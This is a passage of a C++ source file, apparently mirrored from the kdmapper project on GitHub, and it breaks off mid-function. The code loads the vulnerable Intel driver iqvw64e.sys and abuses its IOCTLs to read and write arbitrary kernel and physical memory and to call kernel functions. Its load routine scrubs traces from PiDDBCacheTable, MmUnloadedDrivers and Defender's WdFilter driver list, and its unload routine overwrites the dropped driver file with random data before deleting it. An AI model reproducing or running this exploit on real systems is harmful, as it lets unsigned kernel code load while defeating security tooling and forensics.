mirror of
https://github.com/TheCruZ/kdmapper
synced 2026-06-06 16:54:27 +00:00
9736eb9de4
previously the check was for g_KernelHashBucketListOffset but should have been for g_HashCacheLockOffset , this prevents kdmapper failing in case g_HasCacheLockOffset is null
1283 lines
46 KiB
C++
1283 lines
46 KiB
C++
#include "intel_driver.hpp"
|
|
#include <Windows.h>
|
|
#include <string>
|
|
#include <fstream>
|
|
|
|
#include "utils.hpp"
|
|
#include "intel_driver_resource.hpp"
|
|
#include "service.hpp"
|
|
#include "nt.hpp"
|
|
#include "portable_executable.hpp"
|
|
|
|
#ifdef PDB_OFFSETS
|
|
#include "KDSymbolsHandler.h"
|
|
#endif
|
|
|
|
/**
|
|
Command structures
|
|
*/
|
|
typedef struct _COPY_MEMORY_BUFFER_INFO
|
|
{
|
|
uint64_t case_number;
|
|
uint64_t reserved;
|
|
uint64_t source;
|
|
uint64_t destination;
|
|
uint64_t length;
|
|
}COPY_MEMORY_BUFFER_INFO, * PCOPY_MEMORY_BUFFER_INFO;
|
|
|
|
typedef struct _FILL_MEMORY_BUFFER_INFO
|
|
{
|
|
uint64_t case_number;
|
|
uint64_t reserved1;
|
|
uint32_t value;
|
|
uint32_t reserved2;
|
|
uint64_t destination;
|
|
uint64_t length;
|
|
}FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO;
|
|
|
|
typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO
|
|
{
|
|
uint64_t case_number;
|
|
uint64_t reserved;
|
|
uint64_t return_physical_address;
|
|
uint64_t address_to_translate;
|
|
}GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO;
|
|
|
|
typedef struct _MAP_IO_SPACE_BUFFER_INFO
|
|
{
|
|
uint64_t case_number;
|
|
uint64_t reserved;
|
|
uint64_t return_value;
|
|
uint64_t return_virtual_address;
|
|
uint64_t physical_address_to_map;
|
|
uint32_t size;
|
|
}MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO;
|
|
|
|
typedef struct _UNMAP_IO_SPACE_BUFFER_INFO
|
|
{
|
|
uint64_t case_number;
|
|
uint64_t reserved1;
|
|
uint64_t reserved2;
|
|
uint64_t virt_address;
|
|
uint64_t reserved3;
|
|
uint32_t number_of_bytes;
|
|
}UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO;
|
|
|
|
// End Command structures
|
|
|
|
HANDLE intel_driver::hDevice = 0;
|
|
ULONG64 intel_driver::ntoskrnlAddr = 0;
|
|
std::string cachedDriverName = "";
|
|
|
|
std::wstring intel_driver::GetDriverNameW() {
|
|
if (cachedDriverName.empty()) {
|
|
//Create a random name
|
|
char buffer[100]{};
|
|
static const char alphanum[] =
|
|
"abcdefghijklmnopqrstuvwxyz"
|
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
int len = rand() % 20 + 10;
|
|
for (int i = 0; i < len; ++i)
|
|
buffer[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
|
|
cachedDriverName = buffer;
|
|
}
|
|
|
|
std::wstring name(cachedDriverName.begin(), cachedDriverName.end());
|
|
return name;
|
|
}
|
|
|
|
std::wstring intel_driver::GetDriverPath() {
|
|
std::wstring temp = kdmUtils::GetFullTempPath();
|
|
if (temp.empty()) {
|
|
return L"";
|
|
}
|
|
return temp + L"\\" + GetDriverNameW();
|
|
}
|
|
|
|
bool intel_driver::IsRunning() {
|
|
const HANDLE file_handle = CreateFileW(L"\\\\.\\Nal", FILE_ANY_ACCESS, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
|
|
if (file_handle != nullptr && file_handle != INVALID_HANDLE_VALUE)
|
|
{
|
|
CloseHandle(file_handle);
|
|
return true;
|
|
}
|
|
return false;
|
|
}
|
|
|
|
//get Se debug privilege
|
|
NTSTATUS intel_driver::AcquireDebugPrivilege() {
|
|
|
|
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
|
if (ntdll == NULL) {
|
|
return STATUS_UNSUCCESSFUL;
|
|
}
|
|
|
|
ULONG SE_DEBUG_PRIVILEGE = 20UL;
|
|
BOOLEAN SeDebugWasEnabled;
|
|
NTSTATUS Status = nt::RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &SeDebugWasEnabled);
|
|
if (!NT_SUCCESS(Status)) {
|
|
kdmLog("[-] Failed to acquire SE_DEBUG_PRIVILEGE" << std::endl);
|
|
}
|
|
return Status;
|
|
}
|
|
|
|
NTSTATUS intel_driver::Load() {
|
|
srand((unsigned)time(NULL) * GetCurrentThreadId());
|
|
|
|
//from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name
|
|
if (intel_driver::IsRunning()) {
|
|
kdmLog(L"[-] \\Device\\Nal is already in use." << std::endl);
|
|
kdmLog(L"[-] This means that there is a intel driver already loaded or another instance of kdmapper is running or kdmapper crashed and didn't unload the previous driver." << std::endl);
|
|
kdmLog(L"[-] If you are sure that there is no other instance of kdmapper running, you can try to restart your computer to fix this issue." << std::endl);
|
|
kdmLog(L"[-] If the problem persists, you can try to unload the intel driver manually (If the driver was loaded with kdmapper will have a random name and will be located in %temp%), if not, the driver name is iqvw64e.sys." << std::endl);
|
|
return STATUS_ALREADY_REGISTERED;
|
|
}
|
|
|
|
kdmLog(L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl);
|
|
|
|
std::wstring driver_path = GetDriverPath();
|
|
if (driver_path.empty()) {
|
|
kdmLog(L"[-] Can't find TEMP folder" << std::endl);
|
|
return STATUS_UNSUCCESSFUL;
|
|
}
|
|
|
|
_wremove(driver_path.c_str());
|
|
|
|
if (!kdmUtils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) {
|
|
kdmLog(L"[-] Failed to create vulnerable driver file" << std::endl);
|
|
return STATUS_DISK_OPERATION_FAILED;
|
|
}
|
|
|
|
auto status = AcquireDebugPrivilege();
|
|
if (!NT_SUCCESS(status)) {
|
|
kdmLog(L"[-] Failed to acquire SeDebugPrivilege" << std::endl);
|
|
_wremove(driver_path.c_str());
|
|
return status;
|
|
}
|
|
|
|
status = service::RegisterAndStart(driver_path, GetDriverNameW());
|
|
if (!NT_SUCCESS(status)) {
|
|
kdmLog(L"[-] Failed to register and start service for the vulnerable driver" << std::endl);
|
|
_wremove(driver_path.c_str());
|
|
return status;
|
|
}
|
|
|
|
hDevice = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
|
|
if (!hDevice || hDevice == INVALID_HANDLE_VALUE)
|
|
{
|
|
kdmLog(L"[-] Failed to load driver iqvw64e.sys" << std::endl);
|
|
intel_driver::Unload();
|
|
return STATUS_NOT_FOUND;
|
|
}
|
|
|
|
ntoskrnlAddr = kdmUtils::GetKernelModuleAddress("ntoskrnl.exe");
|
|
if (ntoskrnlAddr == 0) {
|
|
kdmLog(L"[-] Failed to get ntoskrnl.exe" << std::endl);
|
|
intel_driver::Unload();
|
|
return STATUS_BAD_DLL_ENTRYPOINT;
|
|
}
|
|
|
|
//check MZ ntoskrnl.exe
|
|
IMAGE_DOS_HEADER dosHeader = { 0 };
|
|
if (!intel_driver::ReadMemory(intel_driver::ntoskrnlAddr, &dosHeader, sizeof(IMAGE_DOS_HEADER)) || dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
|
|
kdmLog(L"[-] Can't exploit intel driver, is there any antivirus or anticheat running?" << std::endl);
|
|
intel_driver::Unload();
|
|
return STATUS_INVALID_IMAGE_FORMAT;
|
|
}
|
|
|
|
if (!intel_driver::ClearPiDDBCacheTable()) {
|
|
kdmLog(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
|
|
intel_driver::Unload();
|
|
return STATUS_DELETE_PENDING | 0x1000; //add custom value to error code to identify specific fail
|
|
}
|
|
|
|
if (!intel_driver::ClearKernelHashBucketList()) {
|
|
kdmLog(L"[-] Failed to ClearKernelHashBucketList" << std::endl);
|
|
intel_driver::Unload();
|
|
return STATUS_DELETE_PENDING | 0x2000;
|
|
}
|
|
|
|
if (!intel_driver::ClearMmUnloadedDrivers()) {
|
|
kdmLog(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl);
|
|
intel_driver::Unload();
|
|
return STATUS_DELETE_PENDING | 0x3000;
|
|
}
|
|
|
|
if (!intel_driver::ClearWdFilterDriverList()) {
|
|
kdmLog("[!] Failed to ClearWdFilterDriverList" << std::endl);
|
|
intel_driver::Unload();
|
|
return STATUS_DELETE_PENDING | 0x4000;
|
|
}
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
bool intel_driver::ClearWdFilterDriverList() {
|
|
|
|
auto WdFilter = kdmUtils::GetKernelModuleAddress("WdFilter.sys");
|
|
if (!WdFilter) {
|
|
kdmLog("[+] WdFilter.sys not loaded, clear skipped" << std::endl);
|
|
return true;
|
|
}
|
|
|
|
#ifdef PDB_OFFSETS
|
|
uintptr_t MpBmDocOpenRules = KDSymbolsHandler::GetInstance()->GetOffset(L"MpBmDocOpenRules");
|
|
if (!MpBmDocOpenRules)
|
|
{
|
|
kdmLog("[-] Failed To Get MpBmDocOpenRules." << std::endl);
|
|
return false;
|
|
}
|
|
MpBmDocOpenRules += WdFilter;
|
|
|
|
uintptr_t RuntimeDriversList_Head = MpBmDocOpenRules + 0x70;
|
|
uintptr_t RuntimeDriversCount = MpBmDocOpenRules + 0x60;
|
|
uintptr_t RuntimeDriversArray = MpBmDocOpenRules + 0x68;
|
|
ReadMemory(RuntimeDriversArray, &RuntimeDriversArray, sizeof(uintptr_t));
|
|
|
|
uintptr_t MpFreeDriverInfoEx = KDSymbolsHandler::GetInstance()->GetOffset(L"MpFreeDriverInfoEx");
|
|
if (!MpFreeDriverInfoEx)
|
|
{
|
|
kdmLog("[-] Failed To Get MpFreeDriverInfoEx." << std::endl);
|
|
return false;
|
|
}
|
|
MpFreeDriverInfoEx += WdFilter;
|
|
#else
|
|
auto RuntimeDriversList = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\xFF\x05", "xxx????xx");
|
|
if (!RuntimeDriversList) {
|
|
kdmLog("[!] Failed to find WdFilter RuntimeDriversList" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
auto RuntimeDriversCountRef = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\xFF\x05\x00\x00\x00\x00\x48\x39\x11", "xx????xxx");
|
|
if (!RuntimeDriversCountRef) {
|
|
kdmLog("[!] Failed to find WdFilter RuntimeDriversCount" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
// MpCleanupDriverInfo->MpFreeDriverInfoEx
|
|
// The pattern only focus in the 0x8 offset and the possibility of the different order for the instructions
|
|
/*
|
|
49 8B C9 mov rcx, r9 ; P
|
|
49 89 50 08 mov [r8+8], rdx
|
|
E8 FB F0 FD FF call MpFreeDriverInfoEx
|
|
48 8B 0D FC AA FA FF mov rcx, cs:qword_1C0021BF0
|
|
E9 21 FF FF FF jmp loc_1C007701A
|
|
*/
|
|
auto MpFreeDriverInfoExRef = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?xx???????????x");
|
|
if (!MpFreeDriverInfoExRef) {
|
|
/*
|
|
48 89 4A 08 mov [rdx+8], rcx
|
|
49 8B C8 mov rcx, r8 ; P
|
|
E8 C3 58 FE FF call sub_1C0065308
|
|
48 8B 0D 44 41 FA FF mov rcx, cs:qword_1C0023B90
|
|
E9 39 FF FF FF jmp loc_1C007F98A
|
|
*/
|
|
MpFreeDriverInfoExRef = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\x00\x00\x00\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?x???x???????????x");
|
|
if (!MpFreeDriverInfoExRef) {
|
|
kdmLog("[!] Failed to find WdFilter MpFreeDriverInfoEx" << std::endl);
|
|
return false;
|
|
}
|
|
else {
|
|
kdmLog("[+] Found WdFilter MpFreeDriverInfoEx with second pattern" << std::endl);
|
|
}
|
|
MpFreeDriverInfoExRef += 0x3; // adjust for next sum offset
|
|
}
|
|
|
|
MpFreeDriverInfoExRef += 0x3; // skip until call instruction
|
|
|
|
RuntimeDriversList = (uintptr_t)ResolveRelativeAddress((PVOID)RuntimeDriversList, 3, 7);
|
|
uintptr_t RuntimeDriversList_Head = RuntimeDriversList - 0x8;
|
|
uintptr_t RuntimeDriversCount = (uintptr_t)ResolveRelativeAddress((PVOID)RuntimeDriversCountRef, 2, 6);
|
|
uintptr_t RuntimeDriversArray = RuntimeDriversCount + 0x8;
|
|
ReadMemory(RuntimeDriversArray, &RuntimeDriversArray, sizeof(uintptr_t));
|
|
uintptr_t MpFreeDriverInfoEx = (uintptr_t)ResolveRelativeAddress((PVOID)MpFreeDriverInfoExRef, 1, 5);
|
|
#endif
|
|
|
|
auto ReadListEntry = [&](uintptr_t Address) -> LIST_ENTRY* { // Useful lambda to read LIST_ENTRY
|
|
LIST_ENTRY* Entry;
|
|
if (!ReadMemory(Address, &Entry, sizeof(LIST_ENTRY*))) return 0;
|
|
return Entry;
|
|
};
|
|
|
|
for (LIST_ENTRY* Entry = ReadListEntry(RuntimeDriversList_Head);
|
|
Entry != (LIST_ENTRY*)RuntimeDriversList_Head;
|
|
Entry = ReadListEntry((uintptr_t)Entry + (offsetof(struct _LIST_ENTRY, Flink))))
|
|
{
|
|
UNICODE_STRING Unicode_String;
|
|
if (ReadMemory((uintptr_t)Entry + 0x10, &Unicode_String, sizeof(UNICODE_STRING))) {
|
|
auto ImageName = std::make_unique<wchar_t[]>((ULONG64)Unicode_String.Length / 2ULL + 1ULL);
|
|
if (ReadMemory((uintptr_t)Unicode_String.Buffer, ImageName.get(), Unicode_String.Length)) {
|
|
if (wcsstr(ImageName.get(), intel_driver::GetDriverNameW().c_str())) {
|
|
|
|
//remove from RuntimeDriversArray
|
|
bool removedRuntimeDriversArray = false;
|
|
PVOID SameIndexList = (PVOID)((uintptr_t)Entry - 0x10);
|
|
for (int k = 0; k < 256; k++) { // max RuntimeDriversArray elements
|
|
PVOID value = 0;
|
|
ReadMemory(RuntimeDriversArray + (k * 8), &value, sizeof(PVOID));
|
|
if (value == SameIndexList) {
|
|
PVOID emptyval = (PVOID)(RuntimeDriversCount + 1); // this is not count+1 is position of cout addr+1
|
|
WriteMemory(RuntimeDriversArray + (k * 8), &emptyval, sizeof(PVOID));
|
|
removedRuntimeDriversArray = true;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (!removedRuntimeDriversArray) {
|
|
kdmLog("[!] Failed to remove from RuntimeDriversArray" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
auto NextEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Flink)));
|
|
auto PrevEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Blink)));
|
|
|
|
WriteMemory(uintptr_t(NextEntry) + (offsetof(struct _LIST_ENTRY, Blink)), &PrevEntry, sizeof(LIST_ENTRY::Blink));
|
|
WriteMemory(uintptr_t(PrevEntry) + (offsetof(struct _LIST_ENTRY, Flink)), &NextEntry, sizeof(LIST_ENTRY::Flink));
|
|
|
|
// decrement RuntimeDriversCount
|
|
ULONG current = 0;
|
|
ReadMemory(RuntimeDriversCount, ¤t, sizeof(ULONG));
|
|
current--;
|
|
WriteMemory(RuntimeDriversCount, ¤t, sizeof(ULONG));
|
|
|
|
// call MpFreeDriverInfoEx
|
|
uintptr_t DriverInfo = (uintptr_t)Entry - 0x20;
|
|
|
|
//verify DriverInfo Magic
|
|
USHORT Magic = 0;
|
|
ReadMemory(DriverInfo, &Magic, sizeof(USHORT));
|
|
if (Magic != 0xDA18) {
|
|
kdmLog("[!] DriverInfo Magic is invalid, new wdfilter version?, driver info will not be released to prevent bsod" << std::endl);
|
|
}
|
|
else {
|
|
CallKernelFunction<void>(nullptr, MpFreeDriverInfoEx, DriverInfo);
|
|
}
|
|
|
|
kdmLog("[+] WdFilterDriverList Cleaned: " << ImageName << std::endl);
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
NTSTATUS intel_driver::Unload() {
|
|
kdmLog(L"[<] Unloading vulnerable driver" << std::endl);
|
|
|
|
if (hDevice && hDevice != INVALID_HANDLE_VALUE) {
|
|
CloseHandle(hDevice);
|
|
}
|
|
|
|
auto status = service::StopAndRemove(GetDriverNameW());
|
|
if (!NT_SUCCESS(status))
|
|
return status;
|
|
|
|
std::wstring driver_path = GetDriverPath();
|
|
|
|
//Destroy disk information before unlink from disk to prevent any recover of the file
|
|
std::ofstream file_ofstream(driver_path.c_str(), std::ios_base::out | std::ios_base::binary);
|
|
if (!file_ofstream.is_open()) {
|
|
kdmLog(L"[!] Error opening driver file to dump random data inside the disk" << std::endl);
|
|
return STATUS_DELETE_PENDING;
|
|
}
|
|
|
|
int newFileLen = sizeof(intel_driver_resource::driver) + (((long long)rand()*(long long)rand()) % 2000000 + 1000);
|
|
BYTE* randomData = new BYTE[newFileLen];
|
|
for (size_t i = 0; i < newFileLen; i++) {
|
|
randomData[i] = (BYTE)(rand() % 255);
|
|
}
|
|
if (!file_ofstream.write((char*)randomData, newFileLen)) {
|
|
kdmLog(L"[!] Error dumping shit inside the disk" << std::endl);
|
|
}
|
|
else {
|
|
kdmLog(L"[+] Vul driver data destroyed before unlink" << std::endl);
|
|
}
|
|
file_ofstream.close();
|
|
delete[] randomData;
|
|
|
|
//unlink the file
|
|
if (_wremove(driver_path.c_str()) != 0)
|
|
return STATUS_DELETE_PENDING;
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
bool intel_driver::MemCopy(uint64_t destination, uint64_t source, uint64_t size) {
|
|
if (!destination || !source || !size)
|
|
return 0;
|
|
|
|
COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };
|
|
|
|
copy_memory_buffer.case_number = 0x33;
|
|
copy_memory_buffer.source = source;
|
|
copy_memory_buffer.destination = destination;
|
|
copy_memory_buffer.length = size;
|
|
|
|
DWORD bytes_returned = 0;
|
|
return DeviceIoControl(hDevice, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
|
|
}
|
|
|
|
bool intel_driver::SetMemory(uint64_t address, uint32_t value, uint64_t size) {
|
|
if (!address || !size)
|
|
return 0;
|
|
|
|
FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 };
|
|
|
|
fill_memory_buffer.case_number = 0x30;
|
|
fill_memory_buffer.destination = address;
|
|
fill_memory_buffer.value = value;
|
|
fill_memory_buffer.length = size;
|
|
|
|
DWORD bytes_returned = 0;
|
|
return DeviceIoControl(hDevice, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
|
|
}
|
|
|
|
bool intel_driver::GetPhysicalAddress(uint64_t address, uint64_t* out_physical_address) {
|
|
if (!address)
|
|
return 0;
|
|
|
|
GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 };
|
|
|
|
get_phys_address_buffer.case_number = 0x25;
|
|
get_phys_address_buffer.address_to_translate = address;
|
|
|
|
DWORD bytes_returned = 0;
|
|
|
|
if (!DeviceIoControl(hDevice, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr))
|
|
return false;
|
|
|
|
*out_physical_address = get_phys_address_buffer.return_physical_address;
|
|
return true;
|
|
}
|
|
|
|
uint64_t intel_driver::MapIoSpace(uint64_t physical_address, uint32_t size) {
|
|
if (!physical_address || !size)
|
|
return 0;
|
|
|
|
MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 };
|
|
|
|
map_io_space_buffer.case_number = 0x19;
|
|
map_io_space_buffer.physical_address_to_map = physical_address;
|
|
map_io_space_buffer.size = size;
|
|
|
|
DWORD bytes_returned = 0;
|
|
|
|
if (!DeviceIoControl(hDevice, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr))
|
|
return 0;
|
|
|
|
return map_io_space_buffer.return_virtual_address;
|
|
}
|
|
|
|
bool intel_driver::UnmapIoSpace(uint64_t address, uint32_t size) {
|
|
if (!address || !size)
|
|
return false;
|
|
|
|
UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 };
|
|
|
|
unmap_io_space_buffer.case_number = 0x1A;
|
|
unmap_io_space_buffer.virt_address = address;
|
|
unmap_io_space_buffer.number_of_bytes = size;
|
|
|
|
DWORD bytes_returned = 0;
|
|
|
|
return DeviceIoControl(hDevice, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr);
|
|
}
|
|
|
|
bool intel_driver::ReadMemory(uint64_t address, void* buffer, uint64_t size) {
|
|
return MemCopy(reinterpret_cast<uint64_t>(buffer), address, size);
|
|
}
|
|
|
|
bool intel_driver::WriteMemory(uint64_t address, void* buffer, uint64_t size) {
|
|
return MemCopy(address, reinterpret_cast<uint64_t>(buffer), size);
|
|
}
|
|
|
|
bool intel_driver::WriteToReadOnlyMemory(uint64_t address, void* buffer, uint32_t size) {
|
|
if (!address || !buffer || !size)
|
|
return false;
|
|
|
|
uint64_t physical_address = 0;
|
|
|
|
if (!GetPhysicalAddress(address, &physical_address)) {
|
|
kdmLog(L"[-] Failed to translate virtual address 0x" << reinterpret_cast<void*>(address) << std::endl);
|
|
return false;
|
|
}
|
|
|
|
const uint64_t mapped_physical_memory = MapIoSpace(physical_address, size);
|
|
|
|
if (!mapped_physical_memory) {
|
|
kdmLog(L"[-] Failed to map IO space of 0x" << reinterpret_cast<void*>(physical_address) << std::endl);
|
|
return false;
|
|
}
|
|
|
|
bool result = WriteMemory(mapped_physical_memory, buffer, size);
|
|
|
|
#if defined(DISABLE_OUTPUT)
|
|
UnmapIoSpace(mapped_physical_memory, size);
|
|
#else
|
|
if (!UnmapIoSpace(mapped_physical_memory, size))
|
|
kdmLog(L"[!] Failed to unmap IO space of physical address 0x" << reinterpret_cast<void*>(physical_address) << std::endl);
|
|
#endif
|
|
|
|
|
|
return result;
|
|
}
|
|
|
|
uint64_t intel_driver::MmAllocateIndependentPagesEx(uint32_t size)
|
|
{
|
|
uint64_t allocated_pages{};
|
|
|
|
static uint64_t kernel_MmAllocateIndependentPagesEx = 0;
|
|
|
|
#ifdef PDB_OFFSETS
|
|
if (!kernel_MmAllocateIndependentPagesEx)
|
|
{
|
|
kernel_MmAllocateIndependentPagesEx = KDSymbolsHandler::GetInstance()->GetOffset(L"MmAllocateIndependentPagesEx");
|
|
if (!kernel_MmAllocateIndependentPagesEx) {
|
|
kdmLog(L"[!] Failed to find MmAllocateIndependentPagesEx" << std::endl);
|
|
return 0;
|
|
}
|
|
kernel_MmAllocateIndependentPagesEx += intel_driver::ntoskrnlAddr;
|
|
}
|
|
#else
|
|
if (!kernel_MmAllocateIndependentPagesEx)
|
|
{
|
|
//Updated, tested from 1803 to 24H2
|
|
//KeAllocateInterrupt -> 41 8B D6 B9 00 10 00 00 E8 ?? ?? ?? ?? 48 8B D8
|
|
kernel_MmAllocateIndependentPagesEx = intel_driver::FindPatternInSectionAtKernel((char*)".text", intel_driver::ntoskrnlAddr,
|
|
(BYTE*)"\x41\x8B\xD6\xB9\x00\x10\x00\x00\xE8\x00\x00\x00\x00\x48\x8B\xD8",
|
|
(char*)"xxxxxxxxx????xxx");
|
|
if (!kernel_MmAllocateIndependentPagesEx) {
|
|
kdmLog(L"[!] Failed to find MmAllocateIndependentPagesEx" << std::endl);
|
|
return 0;
|
|
}
|
|
|
|
kernel_MmAllocateIndependentPagesEx += 8;
|
|
|
|
kernel_MmAllocateIndependentPagesEx = (uint64_t)ResolveRelativeAddress((PVOID)kernel_MmAllocateIndependentPagesEx, 1, 5);
|
|
if (!kernel_MmAllocateIndependentPagesEx) {
|
|
kdmLog(L"[!] Failed to find MmAllocateIndependentPagesEx" << std::endl);
|
|
return 0;
|
|
}
|
|
}
|
|
#endif
|
|
|
|
if (!intel_driver::CallKernelFunction(&allocated_pages, kernel_MmAllocateIndependentPagesEx, size, -1, 0, 0))
|
|
return 0;
|
|
|
|
return allocated_pages;
|
|
}
|
|
|
|
bool intel_driver::MmFreeIndependentPages(uint64_t address, uint32_t size)
|
|
{
|
|
static uint64_t kernel_MmFreeIndependentPages = 0;
|
|
|
|
if (!kernel_MmFreeIndependentPages)
|
|
{
|
|
#ifdef PDB_OFFSETS
|
|
kernel_MmFreeIndependentPages = KDSymbolsHandler::GetInstance()->GetOffset(L"MmFreeIndependentPages");
|
|
if (!kernel_MmFreeIndependentPages) {
|
|
kdmLog(L"[!] Failed to find MmFreeIndependentPages" << std::endl);
|
|
return false;
|
|
}
|
|
kernel_MmFreeIndependentPages += intel_driver::ntoskrnlAddr;
|
|
#else
|
|
kernel_MmFreeIndependentPages = intel_driver::FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr,
|
|
(BYTE*)"\xBA\x00\x60\x00\x00\x48\x8B\xCB\xE8\x00\x00\x00\x00\x48\x8D\x8B\x00\xF0\xFF\xFF",
|
|
(char*)"xxxxxxxxx????xxxxxxx");
|
|
if (!kernel_MmFreeIndependentPages) {
|
|
|
|
kdmLog(L"[+] Trying second pattern for MmFreeIndependentPages" << std::endl);
|
|
|
|
// Windows 11
|
|
kernel_MmFreeIndependentPages = intel_driver::FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr,
|
|
(BYTE*)"\x8B\x15\x00\x00\x00\x00\x48\x8B\xCB\xE8\x00\x00\x00\x00\x48\x8D\x8B",
|
|
(char*)"xx????xxxx????xxx");
|
|
|
|
if (!kernel_MmFreeIndependentPages) {
|
|
kdmLog(L"[!] Failed to find MmFreeIndependentPages" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
kernel_MmFreeIndependentPages += 9; // win 11
|
|
}
|
|
else {
|
|
kernel_MmFreeIndependentPages += 8;
|
|
}
|
|
|
|
kernel_MmFreeIndependentPages = (uint64_t)ResolveRelativeAddress((PVOID)kernel_MmFreeIndependentPages, 1, 5);
|
|
if (!kernel_MmFreeIndependentPages) {
|
|
kdmLog(L"[!] Failed to find MmFreeIndependentPages" << std::endl);
|
|
return false;
|
|
}
|
|
#endif
|
|
}
|
|
|
|
uint64_t result{};
|
|
return intel_driver::CallKernelFunction(&result, kernel_MmFreeIndependentPages, address, size);
|
|
}
|
|
|
|
BOOLEAN intel_driver::MmSetPageProtection(uint64_t address, uint32_t size, ULONG new_protect)
|
|
{
|
|
if (!address)
|
|
{
|
|
kdmLog(L"[!] Invalid address passed to MmSetPageProtection" << std::endl);
|
|
return FALSE;
|
|
}
|
|
|
|
static uint64_t kernel_MmSetPageProtection = 0;
|
|
|
|
if (!kernel_MmSetPageProtection)
|
|
{
|
|
#ifdef PDB_OFFSETS
|
|
kernel_MmSetPageProtection = KDSymbolsHandler::GetInstance()->GetOffset(L"MmSetPageProtection");
|
|
if (!kernel_MmSetPageProtection) {
|
|
kdmLog(L"[!] Failed to find MmSetPageProtection" << std::endl);
|
|
return FALSE;
|
|
}
|
|
kernel_MmSetPageProtection += intel_driver::ntoskrnlAddr;
|
|
#else
|
|
//Updated, tested from 1803 to 24H2
|
|
// 0F 45 ? ? 8D ? ? ? FF FF E8
|
|
// 0F 45 ? ? 45 8B ? ? ? ? 8D ? ? ? ? ? ? FF FF E8 (Some windows builds have a instruction in the middle)
|
|
kernel_MmSetPageProtection = intel_driver::FindPatternInSectionAtKernel("PAGELK", intel_driver::ntoskrnlAddr,
|
|
(BYTE*)"\x0F\x45\x00\x00\x8D\x00\x00\x00\xFF\xFF\xE8",
|
|
(char*)"xx??x???xxx");
|
|
if (!kernel_MmSetPageProtection) {
|
|
|
|
kernel_MmSetPageProtection = intel_driver::FindPatternInSectionAtKernel("PAGELK", intel_driver::ntoskrnlAddr,
|
|
(BYTE*)"\x0F\x45\x00\x00\x45\x8B\x00\x00\x00\x00\x8D\x00\x00\x00\x00\x00\x00\xFF\xFF\xE8",
|
|
(char*)"xx??xx????x???xxx");
|
|
|
|
if (!kernel_MmSetPageProtection) {
|
|
kdmLog(L"[!] Failed to find MmSetPageProtection" << std::endl);
|
|
return FALSE;
|
|
}
|
|
|
|
kernel_MmSetPageProtection += 13;
|
|
}
|
|
else {
|
|
kernel_MmSetPageProtection += 10;
|
|
}
|
|
|
|
kernel_MmSetPageProtection = (uint64_t)ResolveRelativeAddress((PVOID)kernel_MmSetPageProtection, 1, 5);
|
|
if (!kernel_MmSetPageProtection) {
|
|
kdmLog(L"[!] Failed to find MmSetPageProtection" << std::endl);
|
|
return FALSE;
|
|
}
|
|
#endif
|
|
}
|
|
|
|
BOOLEAN set_prot_status{};
|
|
if (!intel_driver::CallKernelFunction(&set_prot_status, kernel_MmSetPageProtection, address, size, new_protect))
|
|
return FALSE;
|
|
|
|
return set_prot_status;
|
|
}
|
|
|
|
uint64_t intel_driver::AllocatePool(nt::POOL_TYPE pool_type, uint64_t size) {
|
|
if (!size)
|
|
return 0;
|
|
|
|
static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "ExAllocatePoolWithTag");
|
|
|
|
if (!kernel_ExAllocatePool) {
|
|
